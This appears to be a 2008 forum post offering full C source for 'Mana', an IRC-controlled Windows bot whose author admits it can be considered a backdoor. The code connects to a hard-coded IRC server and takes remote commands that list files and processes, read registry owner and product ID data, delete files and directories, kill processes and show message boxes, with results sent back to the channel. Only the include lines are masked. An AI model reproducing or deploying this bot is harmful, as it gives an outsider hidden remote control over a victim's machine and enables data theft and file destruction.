[+]Topic: Code [+]Von: SkyOut [+]Return: Code
This code can be considered a backdoor or an administration tool. It depends on your own definition. It is structured in a way, that I myself define it an administration tool. Thats because of two important facts: (1) The code does not harm the system without user interaction and does not drop any files or write itself to autostart etc. (2) When starting up the code, a window will appear and when its closed the bot itself is stopped. Therefore it is not a backdoor in my definition as it is to clear, that there is something running. Nevertheless this code has been sent to the AntiVirus companies to make sure nobody will use it to harm someones system. WARNING: I don't take any responsibility if this code harms your system due to a bug or something similar. Always keep in mind, that you are responsible for whatever you do with this code!
/////////////////////////////////////////////////////////////////////////////////////////////////////////////// //=== Credits === // //Name: Mana //Author: SkyOut //Date: January 2008 //Contact: skyout[-at-]core-security[-dot-]net //Website: http://core-security.net/ // //=== License === // //Copyright (c) 2008, SkyOut // //All rights reserved. // //Redistribution and use in source and binary forms, with or without modification, are permitted provided that //the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of conditions and the // following disclaimer. // * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and // the following disclaimer in the documentation and/or other materials provided with the distribution. // * Neither the name of Core Security nor the names of its contributors may be used to endorse or promote // products derived from this software without specific prior written permission. // //THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS //"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT //LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR //A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR //CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, //EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, //PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR //PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF //LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING //NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS //SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // //=== Information === // //This code can be considered a backdoor or an administration tool. It depends on //your own definition. It is structured in a way, that I myself define it an //administration tool. Thats because of two important facts: // //(1) The code does not harm the system without user interaction and does not drop //any files or write itself to autostart etc. // //(2) When starting up the code, a window will appear and when its closed the bot //itself is stopped. Therefore it is not a backdoor in my definition as it is to //clear, that there is something running. // //Nevertheless this code has been sent to the AntiVirus companies to make sure nobody //will use it to harm someones system. // //WARNING: I don't take any responsibility if this code harms your system due to a //bug or something similar. Always keep in mind, that you are responsible for whatever //you do with this code! // //=== Compiling === // //This program has been tested on Microsoft Windows Vista Home Premium //using the Visual Studio C++ Express Edition with the Platform SDK for //Windows Server 2003 R2 being installed. // //=== Command listing === // //.help - Print the help dialogue //.version - Prints the version of the used bot //.info - Prints some information about the operating system //.cwd - Prints the directory in which the bot got executed //.ls "..." - Prints a directory listing //.emptydir "..." - Removes all files in a directory //.rmdir "..." - Removes a directory if it is empty //.rm "..." - Removes the specified file //.listproc - Prints all running processes //.killproc "..." - Kills a running process //.drives - Prints all connected drives with information //.msgbox "..." - Prints a message box with the specified string //.exit - Quits the bot process /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // All the needed header files #include <KiddieProtection> #include <KiddieProtection> #include <KiddieProtection> #include <KiddieProtection> #include <KiddieProtection> #include <KiddieProtection> #define SERVER "84.16.231.52" #define PORT 6667 #define NICK "MANA" #define CHANNEL "#fubar" #define VERSION "Mana v1.0 FINAL" #define HOST "localhost" #define RHOST "irc.seilen.de" #define PASSWORD "sadasd" #define EMAIL "sadasd@sdasd.com" // This is used for the char variables later #define MAX_PATH 512 // We need to link to several libraries to make this code work #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "advapi32.lib") #pragma comment(lib, "user32.lib") // The main routine including all the needed functions int main() { // A list of all needed variables long err; char buff[MAX_PATH]; char buff2[MAX_PATH]; char recvbuff[MAX_PATH]; char cwd[MAX_PATH]; char directory[MAX_PATH]; char filename[MAX_PATH]; char text[MAX_PATH]; char process[MAX_PATH]; char *ptr; int recvbufflen = MAX_PATH; int res; int i = 1; WSADATA wsaData; SOCKET sock; SOCKADDR_IN sin; HKEY hKey; DWORD buffLength = sizeof(buff2); HANDLE hFind; WIN32_FIND_DATA w32FD; HANDLE hProc; BOOL proc; PROCESSENTRY32 pe32; HANDLE hSnap; UINT type; // A list of all drives, that might be connected to the computer char *drives[] = {"C:", "D:", "E:", "F:", "G:", "H:", "I:", "J:", "K:", "L:", "M:", "N:", "O:", "P:", "Q:", "R:", "S:", "T:", "U:", "V:", "W:", "X:", "Y:", "Z:", 0}; // Startup Winsock err = WSAStartup(MAKEWORD(2, 0), &wsaData); if (err != 0) { printf("Error starting Winsock: %d!\n", err); return 1; } else { printf("Winsock started successfully!\n"); } // Initialize socket sock = socket(AF_INET, SOCK_STREAM, 0); if(sock == INVALID_SOCKET) { printf("Error starting socket: %d\n", WSAGetLastError()); return 1; } else { printf("Socket successfully initialized!\n"); } // Connect to server memset(&sin, 0, sizeof(SOCKADDR_IN)); sin.sin_family = AF_INET; sin.sin_port = htons(PORT); sin.sin_addr.s_addr = inet_addr(SERVER); err = connect(sock, (SOCKADDR*)&sin, sizeof(SOCKADDR)); if(err == SOCKET_ERROR) { printf("Error while connecting: %d\n", WSAGetLastError()); return 1; } else { printf("Connected to %s!\n", SERVER); } // REGISTER the NICK sprintf(buff, "MSG NICKSERV REGISTER %s %s\r\n", PASSWORD, EMAIL); send(sock, buff, strlen(buff), 0); // Send USER information sprintf(buff, "USER %s %s %s %s\r\n", NICK, HOST, RHOST, NICK); send(sock, buff, strlen(buff), 0); // Set the NICK sprintf(buff, "NICK %s\r\n", NICK); send(sock, buff, strlen(buff), 0); // JOIN the channel sprintf(buff, "JOIN %s\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); // Start an infitie loop listening for commands while(1) { // Receive data from the server res = recv(sock, recvbuff, recvbufflen, 0); if (res > 0) { // Send a PONG to the server if(strstr(recvbuff, "PING")) { sprintf(buff, "PONG :blackpanther.SeilEn.de\r\n"); send(sock, buff, strlen(buff), 0); } // Print some helpful information else if((strstr(recvbuff, ".help")) && (!strstr(recvbuff, "PING"))) { sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : -=- HELP DIALOGUE -=-\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : Author: SkyOut\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : Date: January 2008\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : Contact: skyout[-at-]smash-the-stack[-dot-]net\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : Website: http://www.smash-the-stack.net/\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : -=- COMMAND LISTING -=-\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : .help - This one!\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : .version - Prints the version of the used bot\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : .info - Prints some information about the operating system\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : .cwd - Prints the directory in which the bot got executed\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : .ls \"...\" - Prints a directory listing\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : .emptydir \"...\" - Removes all files in a directory\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : .rmdir \"...\" - Removes a directory if it is empty\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : .rm \"...\" - Removes the specified file\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : .listproc - Prints all running processes\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : .killproc \"...\" - Kills a running process\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : .drives - Prints all connected drives with information\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : .msgbox \"...\" - Prints a message box with the specified string\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : .exit - Quits the bot process\r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); } // Print the version of the bot else if((strstr(recvbuff, ".version")) && (!strstr(recvbuff, "PING"))) { sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s :=-= %s -=-\r\n", CHANNEL, VERSION); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); } // Print some information of the system out of the registry else if((strstr(recvbuff, ".info")) && (!strstr(recvbuff, "PING"))) { sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_QUERY_VALUE, &hKey); RegQueryValueEx(hKey, "ProductName", 0, NULL, buff2, &buffLength); RegCloseKey(hKey); sprintf(buff, "PRIVMSG %s :ProductName = %s\r\n", CHANNEL, buff2); send(sock, buff, strlen(buff), 0); RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_QUERY_VALUE, &hKey); RegQueryValueEx(hKey, "ProductId", 0, NULL, buff2, &buffLength); RegCloseKey(hKey); sprintf(buff, "PRIVMSG %s :ProductId = %s\r\n", CHANNEL, buff2); send(sock, buff, strlen(buff), 0); RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_QUERY_VALUE, &hKey); RegQueryValueEx(hKey, "RegisteredOwner", 0, NULL, buff2, &buffLength); RegCloseKey(hKey); sprintf(buff, "PRIVMSG %s :RegisteredOwner = %s\r\n", CHANNEL, buff2); send(sock, buff, strlen(buff), 0); RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_QUERY_VALUE, &hKey); RegQueryValueEx(hKey, "RegisteredOrganization", 0, NULL, buff2, &buffLength); RegCloseKey(hKey); sprintf(buff, "PRIVMSG %s :RegisteredOrganization = %s\r\n", CHANNEL, buff2); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); } // Print the Current Working Directory (CWD) else if((strstr(recvbuff, ".cwd")) && (!strstr(recvbuff, "PING"))) { sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); GetCurrentDirectory(MAX_PATH - 1, cwd); sprintf(buff, "PRIVMSG %s : %s\r\n", CHANNEL, cwd); send(sock, buff, strlen(buff), 0); sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); } // Print a directory listing else if((strstr(recvbuff, ".ls")) && (!strstr(recvbuff, "PING"))) { sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); ptr = strtok(recvbuff, "\"\""); ptr = strtok(NULL, "\"\""); sprintf(directory, "%s", ptr); strcpy(filename, ""); strcat(filename, directory); strcat(filename, "\\*"); hFind = FindFirstFile(filename, &w32FD); // Go through all the files in the directory do { // Skip over the files . and .. if (!((strcmp((char*) w32FD.cFileName, ".") && strcmp((char*) w32FD.cFileName, "..")))) { continue; } strcpy(filename, ""); strcpy(filename, directory); strcat(filename, "\\"); strcat(filename, w32FD.cFileName); // If the file is a directory append a backslash if(w32FD.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { strcat(filename, "\\"); } sprintf(buff, "PRIVMSG %s : %s\r\n", CHANNEL, filename); send(sock, buff, strlen(buff), 0); }while(FindNextFile(hFind, &w32FD)); FindClose(hFind); sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); } // Remove all files in a directory else if((strstr(recvbuff, ".emptydir")) && (!strstr(recvbuff, "PING"))) { ptr = strtok(recvbuff, "\"\""); ptr = strtok(NULL, "\"\""); sprintf(directory, "%s", ptr); strcpy(filename, ""); strcat(filename, directory); strcat(filename, "\\*"); hFind = FindFirstFile(filename, &w32FD); // Go through all the files in the directory do { if (!((strcmp((char*) w32FD.cFileName, ".") && strcmp((char*) w32FD.cFileName, "..")))) { continue; } strcpy(filename, ""); strcpy(filename, directory); strcat(filename, "\\"); strcat(filename, w32FD.cFileName); // If the file is readonly change its attributes if(w32FD.dwFileAttributes & FILE_ATTRIBUTE_READONLY) { _chmod(filename, _S_IWRITE); } DeleteFile(filename); }while(FindNextFile(hFind, &w32FD)); FindClose(hFind); } // Delete a directory (must be empty) else if((strstr(recvbuff, ".rmdir")) && (!strstr(recvbuff, "PING"))) { ptr = strtok(recvbuff, "\"\""); ptr = strtok(NULL, "\"\""); sprintf(directory, "%s", ptr); RemoveDirectory(directory); } // Create a directory else if((strstr(recvbuff, ".mkdir")) && (!strstr(recvbuff, "PING"))) { ptr = strtok(recvbuff, "\"\""); ptr = strtok(NULL, "\"\""); sprintf(directory, "%s", ptr); CreateDirectory(directory, 0); } // Delete one specific file else if((strstr(recvbuff, ".rm")) && (!strstr(recvbuff, "PING"))) { ptr = strtok(recvbuff, "\"\""); ptr = strtok(NULL, "\"\""); sprintf(filename, "%s", ptr); if(w32FD.dwFileAttributes & FILE_ATTRIBUTE_READONLY) { _chmod(filename, _S_IWRITE); } DeleteFile(filename); } // List all running processes else if((strstr(recvbuff, ".listproc")) && (!strstr(recvbuff, "PING"))) { sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); hProc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); proc = Process32First(hProc, &pe32); while(proc) { sprintf(buff, "PRIVMSG %s : %s\r\n", CHANNEL, pe32.szExeFile); send(sock, buff, strlen(buff), 0); proc = Process32Next(hProc, &pe32); } sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); } // Kill a running process else if((strstr(recvbuff, ".killproc")) && (!strstr(recvbuff, "PING"))) { ptr = strtok(recvbuff, "\"\""); ptr = strtok(NULL, "\"\""); sprintf(process, "%s", ptr); hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Process32First(hSnap, &pe32); do { hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID); if(strcmp(pe32.szExeFile, process) == 0) { TerminateProcess(hProc, 0); CloseHandle(hProc); } }while (Process32Next(hSnap, &pe32)); } // List all connected drives else if((strstr(recvbuff, ".drives")) && (!strstr(recvbuff, "PING"))) { sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); for(i = 0; drives[i]; i++) { type = GetDriveType(drives[i]); if(type == DRIVE_UNKNOWN) { sprintf(buff, "PRIVMSG %s : %s - unknown drive\r\n", CHANNEL, drives[i]); send(sock, buff, strlen(buff), 0); } else if(type == DRIVE_REMOVABLE) { sprintf(buff, "PRIVMSG %s : %s - removable drive\r\n", CHANNEL, drives[i]); send(sock, buff, strlen(buff), 0); } else if(type == DRIVE_FIXED) { sprintf(buff, "PRIVMSG %s : %s - fixed drive\r\n", CHANNEL, drives[i]); send(sock, buff, strlen(buff), 0); } else if(type == DRIVE_REMOTE) { sprintf(buff, "PRIVMSG %s : %s - remote drive\r\n", CHANNEL, drives[i]); send(sock, buff, strlen(buff), 0); } else if(type == DRIVE_CDROM) { sprintf(buff, "PRIVMSG %s : %s - CDROM\r\n", CHANNEL, drives[i]); send(sock, buff, strlen(buff), 0); } else if(type == DRIVE_RAMDISK) { sprintf(buff, "PRIVMSG %s : %s - RAMDISK\r\n", CHANNEL, drives[i]); send(sock, buff, strlen(buff), 0); } } sprintf(buff, "PRIVMSG %s : \r\n", CHANNEL); send(sock, buff, strlen(buff), 0); } // Show a MessageBox to the user else if((strstr(recvbuff, ".msgbox")) && (!strstr(recvbuff, "PING"))) { ptr = strtok(recvbuff, "\"\""); ptr = strtok(NULL, "\"\""); sprintf(text, "%s", ptr); MessageBox(NULL, text, VERSION, 0); } // Quit the running process else if((strstr(recvbuff, ".exit")) && (!strstr(recvbuff, "PING"))) { closesocket(sock); WSACleanup(); return 0; } } } }